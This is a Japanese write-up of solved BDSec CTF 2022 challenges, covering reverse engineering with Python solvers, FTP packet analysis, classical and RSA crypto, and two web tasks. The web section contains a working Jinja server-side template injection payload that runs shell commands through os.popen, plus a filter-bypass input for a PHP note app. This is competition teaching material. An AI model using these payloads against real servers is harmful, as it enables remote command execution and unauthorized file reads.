この大会は2022/7/21 0:00(JST)~2022/7/22 0:00(JST)に開催されました。
今回もチームで参戦。結果は1225点で542チーム中105位でした。
自分で解けた問題をWriteupとして書いておきます。
Message of Hufflepuff (Misc 50)
ハフマン符号の問題。左が0, 右が1でたどっていく。
001011110011010111001001110001001000100010000010001011110111001011110100001011000100101101110110101100101001010011101100111011111001000111110111111100000 B D S E C { H u f f m @ n _ E n c 0 d 1 n g _ g o 7 _ D 3 C O D 3 D }
BDSEC{Huffm@n_Enc0d1ng_go7_D3COD3D}
Find Me Inside (Misc 50)
$ binwalk fireflies.gif DECIMAL HEXADECIMAL DESCRIPTION -------------------------------------------------------------------------------- 0 0x0 GIF image data, version "89a", 268 x 340 154302 0x25ABE PARity archive data 1059353 0x102A19 RAR archive data, version 5.x
RARを切り出し、解凍すると、cry100というファイルが展開される。換字式暗号になっているようなので、quipqiupで復号する。
How could I be so lost In a place I know so well? How could I be so broken In a family so together? How could I be so lonely Surrounded by so many? How could I be so unhappy Surrounded by so much beauty? How could I be me When even I remain a mystery? BDSEC{M33m_the_butterfly_goes_up_up_and_away}
BDSEC{M33m_the_butterfly_goes_up_up_and_away}
Find the Masterpiece (OSINT 50)
3566678889775656で検索すると、Pirates of carrebian themeが出てくる。正しくは"He's a Pirate"で、リリースされたのは2003年。
BDSEC{he's_a_pirate,2003}
BDSec License Checker 0x1 (Reverse Engineering 50)
Ghidraでデコンパイルする。
undefined8 main(void) { long in_FS_OFFSET; char local_58 [72]; long local_10; local_10 = *(long *)(in_FS_OFFSET + 0x28); puts("\t----------------------------"); puts("\t BDSEC License Checker 0x01"); puts("\t----------------------------\n"); printf("Please enter your license to continue : "); gets(local_58); ns_2(local_58); if (local_10 != *(long *)(in_FS_OFFSET + 0x28)) { /* WARNING: Subroutine does not return */ __stack_chk_fail(); } return 0; } void ns_2(char *param_1) { bool bVar1; int iVar2; size_t sVar3; long in_FS_OFFSET; int local_b0; int local_a8 [4]; undefined4 local_98; undefined4 local_94; undefined4 local_90; undefined4 local_8c; undefined4 local_88; undefined4 local_84; undefined4 local_80; undefined4 local_7c; undefined4 local_78; undefined4 local_74; undefined4 local_70; undefined4 local_6c; undefined4 local_68; undefined4 local_64; undefined4 local_60; undefined4 local_5c; undefined4 local_58; undefined4 local_54; undefined4 local_50; undefined4 local_4c; undefined4 local_48; undefined4 local_44; undefined4 local_40; undefined4 local_3c; undefined4 local_38; undefined4 local_34; undefined4 local_30; long local_20; local_20 = *(long *)(in_FS_OFFSET + 0x28); sVar3 = strlen(param_1); if (sVar3 < 0x20) { sVar3 = strlen(param_1); if (0x1e < sVar3) { local_a8[0] = 0x47; local_a8[1] = 0x5b; local_a8[2] = 0x2b; local_a8[3] = 0x65; local_98 = 0x51; local_94 = 0x146; local_90 = 0x326; local_8c = 99; local_88 = 0x68; local_84 = 0x14; local_80 = 0x10; local_7c = 0x28; local_78 = 0x14; local_74 = 0x40; local_70 = 0x68; local_6c = 0x196; local_68 = 0x14; local_64 = 0x68; local_60 = 0x2c2; local_5c = 0x14; local_58 = 0x1a0; local_54 = 0x40; local_50 = 0x59; local_4c = 0x1a; local_48 = 99; local_44 = 0x40; local_40 = 10; local_3c = 0x59; local_38 = 10; local_34 = 10; local_30 = 0x20e; bVar1 = false; local_b0 = 0; while( true ) { sVar3 = strlen(param_1); if (sVar3 <= (ulong)(long)local_b0) break; iVar2 = ns_1((int)param_1[local_b0]); if (iVar2 + 5 != local_a8[local_b0]) { bVar1 = false; break; } bVar1 = true; local_b0 = local_b0 + 1; } if (bVar1) { puts("Congrats ! You found the right license key."); } else { puts("Invalid license key. Please try again."); } goto code_r0x0010141a; } } puts("Invalid license key. Please try again."); code_r0x0010141a: if (local_20 != *(long *)(in_FS_OFFSET + 0x28)) { /* WARNING: Subroutine does not return */ __stack_chk_fail(); } return; } int ns_1(int param_1) { int local_14; int local_10; local_10 = 0; for (local_14 = param_1; local_14 != 0; local_14 = local_14 / 10) { local_10 = local_14 % 10 + local_10 * 10; } return local_10; }
1バイトずつブルートフォースで正しい入力文字列を求める。
#!/usr/bin/env python3 def ns_1(n): local_10 = 0 local_14 = n while local_14 != 0: local_10 = local_14 % 10 + local_10 * 10 local_14 = local_14 // 10 return local_10 encs = [0x47, 0x5b, 0x2b, 0x65, 0x51, 0x146, 0x326, 99, 0x68, 0x14, 0x10, 0x28, 0x14, 0x40, 0x68, 0x196, 0x14, 0x68, 0x2c2, 0x14, 0x1a0, 0x40, 0x59, 0x1a, 99, 0x40, 10, 0x59, 10, 10, 0x20e] flag = '' for enc in encs: for code in range(32, 127): if ns_1(code) + 5 == enc: flag += chr(code) break print(flag)
BDSEC{l1c3n53_ch3ck3r_0x1_2022}
shashdot (Reverse Engineering 50)
Ghidraでデコンパイルする。
void rrqqq(void) { long in_FS_OFFSET; int local_4c; char local_48 [32]; char local_28 [24]; long local_10; local_10 = *(long *)(in_FS_OFFSET + 0x28); local_28[0] = '\x01'; local_28[1] = 3; local_28[2] = 0x12; local_28[3] = 4; local_28[4] = 2; local_28[5] = 0x3a; local_28[6] = 0x28; local_28[7] = 0x1e; local_28[8] = 0xff; local_28[9] = 0xc; local_28[10] = 0x1e; local_28[11] = 0xff; local_28[12] = 0x1e; local_28[13] = 0x11; local_28[14] = 4; local_28[15] = 0x1e; local_28[16] = 0x2d; local_28[17] = 0xef; local_28[18] = 0xef; local_28[19] = 0x21; local_28[20] = 0x3c; memset(local_48,0x41,0x15); for (local_4c = 0; local_4c < 0x15; local_4c = local_4c + 1) { local_48[local_4c] = local_48[local_4c] + local_28[local_4c]; } puts(local_48); if (local_10 != *(long *)(in_FS_OFFSET + 0x28)) { /* WARNING: Subroutine does not return */ __stack_chk_fail(); } return; }
local_28の各コードに0x41をプラスすればよい。
#!/usr/bin/env python3 enc = [1, 3, 0x12, 4, 2, 0x3a, 0x28, 0x1e, 0xff, 0xc, 0x1e, 0xff, 0x1e, 0x11, 4, 0x1e, 0x2d, 0xef, 0xef, 0x21, 0x3c] flag = '' for c in enc: flag += chr((c + 0x41) % 256) print(flag)
BDSEC{i_@M_@_RE_n00b}
Flag Box (Reverse Engineering 100)
Ghidraでデコンパイルする。
undefined8 main(void) { basic_ostream *this; int aiStack72 [11]; int local_1c; int local_18; int local_14; int local_10; int local_c; local_18 = 0x159fd8; local_c = 1; std::operator<<((basic_ostream *)std::cout, "\nWelcome to Flag-Box!\n\nPlease enter your 8 digit code to grab the flag:"); std::basic_istream<char,std::char_traits<char>>::operator>> ((basic_istream<char,std::char_traits<char>> *)std::cin,&local_1c); for (local_10 = 8; -1 < local_10; local_10 = local_10 + -1) { aiStack72[local_10] = local_1c % 10; local_1c = local_1c / 10; } for (local_14 = 1; local_14 < 9; local_14 = local_14 + 1) { local_c = aiStack72[local_14] * local_c; } if (local_c == local_18) { this = std::operator<<((basic_ostream *)std::cout," "); std::basic_ostream<char,std::char_traits<char>>::operator<< ((basic_ostream<char,std::char_traits<char>> *)this, std::endl<char,std::char_traits<char>>); ox(); } else { std::operator<<((basic_ostream *)std::cout,"\nSorry, wrong Code!\n\nBetter luck next time!"); } return 0; } undefined8 ox(void) { basic_ostream *pbVar1; pbVar1 = std::operator<<((basic_ostream *)std::cout,'B'); pbVar1 = std::operator<<(pbVar1,'D'); pbVar1 = std::operator<<(pbVar1,'S'); pbVar1 = std::operator<<(pbVar1,'E'); pbVar1 = std::operator<<(pbVar1,'C'); pbVar1 = std::operator<<(pbVar1,'{'); pbVar1 = std::operator<<(pbVar1,'H'); pbVar1 = std::operator<<(pbVar1,'u'); pbVar1 = std::operator<<(pbVar1,'r'); pbVar1 = std::operator<<(pbVar1,'r'); pbVar1 = std::operator<<(pbVar1,'a'); pbVar1 = std::operator<<(pbVar1,'h'); pbVar1 = std::operator<<(pbVar1,'_'); pbVar1 = std::operator<<(pbVar1,'U'); pbVar1 = std::operator<<(pbVar1,'_'); pbVar1 = std::operator<<(pbVar1,'g'); pbVar1 = std::operator<<(pbVar1,'0'); pbVar1 = std::operator<<(pbVar1,'t'); pbVar1 = std::operator<<(pbVar1,'_'); pbVar1 = std::operator<<(pbVar1,'i'); pbVar1 = std::operator<<(pbVar1,'t'); pbVar1 = std::operator<<(pbVar1,'_'); pbVar1 = std::operator<<(pbVar1,'b'); pbVar1 = std::operator<<(pbVar1,'u'); pbVar1 = std::operator<<(pbVar1,'d'); pbVar1 = std::operator<<(pbVar1,'d'); pbVar1 = std::operator<<(pbVar1,'y'); std::operator<<(pbVar1,'}'); return 0; }
ox関数の出力文字を並べればよい。
BDSEC{Hurrah_U_g0t_it_buddy}
Simple Math (Reverse Engineering 100)
Ghidraでデコンパイルする。
undefined8 main(void) { int local_1c; int local_18; int local_14; int local_10; int local_c; std::operator<<((basic_ostream *)std::cout,"Input Five Numbers to add them:\n\n"); std::operator<<((basic_ostream *)std::cout,"Input First Number: "); std::basic_istream<char,std::char_traits<char>>::operator>> ((basic_istream<char,std::char_traits<char>> *)std::cin,&local_c); std::operator<<((basic_ostream *)std::cout,""); std::operator<<((basic_ostream *)std::cout,"Input Second Number: "); std::basic_istream<char,std::char_traits<char>>::operator>> ((basic_istream<char,std::char_traits<char>> *)std::cin,&local_10); std::operator<<((basic_ostream *)std::cout,""); std::operator<<((basic_ostream *)std::cout,"Input Third Number: "); std::basic_istream<char,std::char_traits<char>>::operator>> ((basic_istream<char,std::char_traits<char>> *)std::cin,&local_14); std::operator<<((basic_ostream *)std::cout,""); std::operator<<((basic_ostream *)std::cout,"Input Fourth Number: "); std::basic_istream<char,std::char_traits<char>>::operator>> ((basic_istream<char,std::char_traits<char>> *)std::cin,&local_18); std::operator<<((basic_ostream *)std::cout,""); std::operator<<((basic_ostream *)std::cout,"Input Fifth Number: "); std::basic_istream<char,std::char_traits<char>>::operator>> ((basic_istream<char,std::char_traits<char>> *)std::cin,&local_1c); std::operator<<((basic_ostream *)std::cout,""); comp(local_c,local_10,local_14,local_18,local_1c); return 0; } undefined8 comp(int param_1,int param_2,int param_3,int param_4,int param_5) { int iVar1; iVar1 = param_5 + param_1 + param_2 + param_3 + param_4; if (iVar1 == 0x10065cc0) { fg(); } else { std::operator<<((basic_ostream *)std::cout,"Sum: "); std::basic_ostream<char,std::char_traits<char>>::operator<< ((basic_ostream<char,std::char_traits<char>> *)std::cout,iVar1); std::basic_ostream<char,std::char_traits<char>>::operator<< ((basic_ostream<char,std::char_traits<char>> *)std::cout, std::endl<char,std::char_traits<char>>); } return 0; } undefined8 fg(void) { basic_ostream *pbVar1; std::operator<<((basic_ostream *)std::cout, "\nThat was easy right?\n\nBy the way,\nHere is your flag:\n\n"); pbVar1 = std::operator<<((basic_ostream *)std::cout,'B'); pbVar1 = std::operator<<(pbVar1,'D'); pbVar1 = std::operator<<(pbVar1,'S'); pbVar1 = std::operator<<(pbVar1,'E'); pbVar1 = std::operator<<(pbVar1,'C'); pbVar1 = std::operator<<(pbVar1,'{'); pbVar1 = std::operator<<(pbVar1,'3'); pbVar1 = std::operator<<(pbVar1,'a'); pbVar1 = std::operator<<(pbVar1,'Z'); pbVar1 = std::operator<<(pbVar1,'Y'); pbVar1 = std::operator<<(pbVar1,'_'); pbVar1 = std::operator<<(pbVar1,'P'); pbVar1 = std::operator<<(pbVar1,'e'); pbVar1 = std::operator<<(pbVar1,'A'); pbVar1 = std::operator<<(pbVar1,'z'); pbVar1 = std::operator<<(pbVar1,'Y'); pbVar1 = std::operator<<(pbVar1,'}'); std::basic_ostream<char,std::char_traits<char>>::operator<< ((basic_ostream<char,std::char_traits<char>> *)pbVar1, std::endl<char,std::char_traits<char>>); return 0; }
fg関数の出力文字を並べればよい。
BDSEC{3aZY_PeAzY}
Jungle Templating (WEB 100)
SSTIの問題のようだ。以下のように入力して結果を見てみる。
{{config.__class__.__init__.__globals__['os'].popen("ls").read()}} →Hi, __pycache__ app.py flag {{config.__class__.__init__.__globals__['os'].popen("cat flag").read()}} →Hi, BDSEC{Y3Y_7H1515_7H3_F146}
BDSEC{Y3Y_7H1515_7H3_F146}
Awesome Note Keeping (WEB 100)
HTMLソースを見ると、コメントにこう書いてある。
<!-- Hi Seli, I have created this awesome note keeping web app today. I have saved a backup file index.php.bak for you. Download it and check it out. -->
http://206.189.236.145:9000/index.php.bakにアクセスして、index.php.bakをダウンロードする。内容は以下のようになっている。
<!DOCTYPE html> <html> <head> <title>Awesome Note Keeping</title> </head> <body style="padding: 100px; background: #000000; color: #09b576"> <h1>Welcome to Awesome Note Keeping</h1> <?php ini_set('display_errors', 1); ini_set('display_startup_errors', 1); error_reporting(E_ALL); if (isset($_POST["note"]) && isset($_POST["note_title"])) { if (empty($_POST["note"]) || empty($_POST["note_title"])) { echo "All fields are required."; } else if (strlen($_POST["note_title"]) >= 13) { echo "Note title is too long."; } else if (strlen($_POST["note"]) >= 40) { echo "Note is too long."; } else { $note_title = str_replace("flag", "", $_POST["note_title"]); if (!empty($note_title)) { if (file_exists($note_title . ".txt")) { echo "There is already a note with that title and the note is <br>"; $note_title = str_replace("flag", "", $note_title); $myNote = fopen($note_title . ".txt", "r"); echo fread($myNote, filesize($note_title . ".txt")); fclose($myNote); } else { $myNote = fopen($note_title . ".txt", "w"); fwrite($myNote, $_POST["note"]); fclose($myNote); echo "Your note has been saved."; } } else { echo "Sorry ! You can't create flag note."; } } } if (isset($_GET["note_title"]) && !empty($_GET["note_title"]) && $_GET["note_title"] != "flag") { if (file_exists($_GET["note_title"] . ".txt")) { $myNote = fopen($_GET["note_title"] . ".txt", "r"); echo fread($myNote, filesize($_GET["note_title"] . ".txt")); fclose($myNote); } else { echo "Sorry ! Couldn't find any note with that title."; } } ?> <br> <h5>Create a Note</h5> <form action="" method="POST"> <table> <tr> <td><label>Note Title : </label></td> <td><input type="text" name="note_title" /></td> </tr> <tr> <td><label>Note : </label></td> <td><textarea name="note"></textarea></td> </tr> </table> <input type="submit" value="Save" /> </form> <h5>Read a Note</h5> <form action="" method="GET"> <table> <tr> <td><label>Note Title : </label></td> <td><input type="text" name="note_title" /></td> </tr> </table> <input type="submit" value="Read" /> </form> <!-- Hi Seli, I have created this awesome note keeping web app today. I have saved a backup file index.php.bak for you. Download it and check it out. --> </body> </html>
"flag"が2回""に置換されるようなので、タイトルに"flflflagagag"と指定して、Saveしてみると、以下のように表示された。
There is already a note with that title and the note is BDSEC{tHe_n0t3_K33p1n6_4W350M3_N5}
BDSEC{tHe_n0t3_K33p1n6_4W350M3_N5}
Victim & Attacker (Networking 25)
FTPで何回もログインに失敗している通信がある。通信元は192.168.1.10、FTPサーバは192.168.1.13。
BDSEC{192.168.1.13_192.168.1.10}
FTP Creads (Networking 50)
ftpでフィルタリングする。No.81130パケットでログインに成功している。この時のusernameは"ftpadmin"、passwordは"ftpadmin"。
BDSEC{ftpadmin_ftpadmin}
Uploaded File (Networking 50)
ftpでフィルタリングする。CWD filesの後、RETR .hacker.note のパケットがある。
BDSEC{/files/.hacker.note}
Log File (Networking 50)
ftpでフィルタリングする。RETRでdnNmdHBk.logが転送されている。
BDSEC{dnNmdHBk.log}
これではフラグは通らない。base64デコードしてみる。
$ echo dnNmdHBk | base64 -d vsftpd
BDSEC{vsftpd.log}
CryptoCode (Cryptography 25)
Pythonのcryptocodeライブラリを使って復号する。
#!/usr/bin/env python3 import cryptocode with open('cipher.txt', 'r') as f: ct = f.read() key = 'BDSEC' flag = cryptocode.decrypt(ct, key) print(flag)
BDSEC{cryp70_and_pyth0n_ar3_aw3s0me}
VIPx01 (Cryptography 25)
ROT13。https://www.geocachingtoolbox.com/index.php?lang=en&page=caesarCipherで復号する。
BDSEC{crypt0_ar3_aw3s0m3}
Fake (Cryptography 50)
https://www.spammimic.com/decode.shtmlでデコードする。
Hello Mr.Alex I won't 100000 M USD dolor. Can you want that, you need this key BDSEC{do3sn't_b3li3ve_1n_unkn0wn_mail}
BDSEC{do3sn't_b3li3ve_1n_unkn0wn_mail}
Dominoes (Cryptography 50)
フラグの各文字とそれ以降の文字をすべてXORして暗号化している。つまり隣同士をXORすれば復号できる。
#!/usr/bin/env python3 with open('encrypted.txt', 'r') as f: enc_flag = f.read() flag = '' for i in range(len(enc_flag) - 1): flag += chr(ord(enc_flag[i]) ^ ord(enc_flag[i+1])) flag += enc_flag[-1] print(flag)
BDSEC{n0t_50_e45y_hUh?_433}
Loop Lover (Cryptography 100)
転置暗号。逆に戻していけばよい。逆に戻すと、base64エンコード文字列になっているので、さらにデコードする。
#!/usr/bin/env python3 from base64 import * def rev_f(t): c = list(t) for i in range(len(t) - 1, -1, -1): for j in range(len(t) - 2, i - 1, -1): for k in range(len(t) - 3, j - 1, -1): c[k], c[k+1] = c[k+1], c[k] return ''.join(c) with open('ciphertext.txt', 'r') as f: enc_flag = f.read() b64_flag = rev_f(enc_flag) flag = b64decode(b64_flag).decode() print(flag)
BDSEC{ju57_L00p_m3_4w4y}
Basically RSA (Cryptography 100)
N = 1899107986527483535344517113948531328331 * 674357869540600933870145899564746495319033
あとは通常通り復号する。
#!/usr/bin/env python3 from Crypto.Util.number import * N = 1280678415822214057864524798453297819181910621573945477544758171055968245116423923 E = 65537 C = 241757357533719849989659127349827982677055294256023833052829147857534659015212862 p = 1899107986527483535344517113948531328331 q = 674357869540600933870145899564746495319033 phi = (p - 1) * (q - 1) d = inverse(E, phi) m = pow(C, d, N) flag = long_to_bytes(m).decode() print(flag)
BDSEC{r54_i5_fUn_r16h7?}